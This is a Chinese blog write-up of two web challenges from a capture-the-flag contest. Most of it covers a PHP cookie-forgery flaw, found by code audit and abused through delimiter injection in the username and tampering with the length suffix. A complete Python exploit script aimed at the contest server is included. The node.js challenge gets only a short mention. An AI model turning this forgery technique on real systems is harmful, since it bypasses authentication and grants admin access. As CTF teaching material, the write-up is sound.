Close

[DCTF] 一道半 web writeup

DCTF

这次的dctf的node.js惊艳到我了=,=
可能是做题比较少吧

WEB

get admin

直接给了源码做代码审计真的是大方
在admin.php中可以看出$_SESSION['userid'] === "1"满足了就可以得到flag了

代码审计

config.php又可以看到一个hint database=bad-login
登录的时候登录进admin
怎么看登录都没啥问题=。=
在index.php中发现使用了一个decryptCookie函数

if (!isset($_SESSION['userid'])) {
    if(!empty($_COOKIE['user'])) {
        $u = decryptCookie($_COOKIE['user']);

        if($u['id'] > 0) {
            $_SESSION['userid'] = $u['id'];
            header("Location: /admin.php");
            exit;
        }
    }

这里id就可控了
进入config.php看一下decryptCookie函数

function decryptCookie($cypher) { 
    return decompress(decrypt($cypher, AES_KEY, AES_IV));
}

那么看一下他是怎么加密来的

setcookie('user',encryptCookie([
                'id' => $userid,
                'username' => $_POST['username'],
                'email' => $row['email'], 
            ]),

给了三个参数 id username email

function encryptCookie($arr) {
    $cookie = compress($arr);
    $arr['checksum'] = crc32($cookie); 
    return encrypt(compress($arr), AES_KEY, AES_IV);
}

在最后面会多一个checksum的数组

function compress($arr) {
    return implode('÷', array_map(function ($v, $k) { return $k.'¡'.$v; }, $arr, array_keys($arr) ));
}

学习一下array_maparray_keys函数

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
array array_keys ( array $array [, mixed $search_value = null [, bool $strict = false ]] )
array_keys() 返回 input 数组中的数字或者字符串的键名。
如果指定了可选参数 search_value,则只返回该值的键名。否则 input 数组中的所有键名都会被返回。

可以发现他是直接拼接没有任何处理,这里的参数可控

function encrypt($plaintext, $key, $iv) {
    $length     = strlen($plaintext);
    $ciphertext = openssl_encrypt($plaintext, 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
    return base64_encode($ciphertext) . sprintf('%06d', $length);
}

最后得到

他加密之前的string差不多
id¡1337÷username¡ckj÷email¡ckj@mail.com

vuln

有两个地方很关键

$arr = [];
    foreach($t as $el) { 
        $el = explode("¡", $el); 
        $arr[$el[0]] = $el[1];
    } 

如果在注册的时候有id 1的话就会把前面的id给覆盖了

function decrypt($ciphertext, $key, $iv) {
    $length     = intval(substr($ciphertext, -6, 6));
    $ciphertext = substr($ciphertext, 0,-6);
    $output     = openssl_decrypt(base64_decode($ciphertext), 'AES-128-CBC', $key, OPENSSL_RAW_DATA, $iv);
    if($output == FALSE) {
        echo('Decryption error (0).');
        die();
    }
    return substr($output, 0, $length);
}

在解码的时候会取下最后面的6个字段来做substr,所以构造这个可以截断他生成的checksum

exp

# -*- coding:utf-8 -*-
import binascii
import random
import requests
import string
import urllib

def random_str(l):
    return ''.join(random.choice(string.lowercase) for _ in range(l))

username = password = random_str(16)
email = '{}@example.com'.format(username)

crc_compute = 'id¡1÷username¡{}'.format(username)
crc_value = binascii.crc32(crc_compute) & 0xffffffff

fake_username = '{}÷checksum¡{}÷id¡1'.format(username, crc_value)
expected_length = len('id¡?÷username¡{}'.format(fake_username))

# register
r = requests.post(
    'https://admin.dctfq18.def.camp/register.php',
    data={'username': fake_username, 'password': password,
          'confirm_password': password, 'email': email})

# login to get cookie
r = requests.post(
    'https://admin.dctfq18.def.camp/',
    data={'username': fake_username, 'password': password},
    allow_redirects=False)
cookie = urllib.unquote(r.cookies['user'])

# use modified cookie to get flag
for length in range(expected_length, expected_length + 10):
    print 'Trying length', length
    auth = urllib.quote('{}{:06d}'.format(cookie[:-6], length))
    r = requests.get('https://admin.dctfq18.def.camp/index.php',
                     cookies={'user': auth})
    if 'DCTF{' in r.text:
        print r.text
        break

chat

第一次碰到node.js的题目!
刚开始直接访问网站啥都没有
读了源码之后才发现他是要通过node.js封装的socket函数来连接的
感觉跟nc差不多=。=
CVE-2018-3728经协会小伙伴提醒才知道这道题是个CVE
在先知看到了详解=。=
https://xz.aliyun.com/t/2802

感想

原来还可以这样出node.js的题目,我应该去好好研究一下,有空再做=。=好忙好忙

Leave a Reply

Your email address will not be published. Required fields are marked *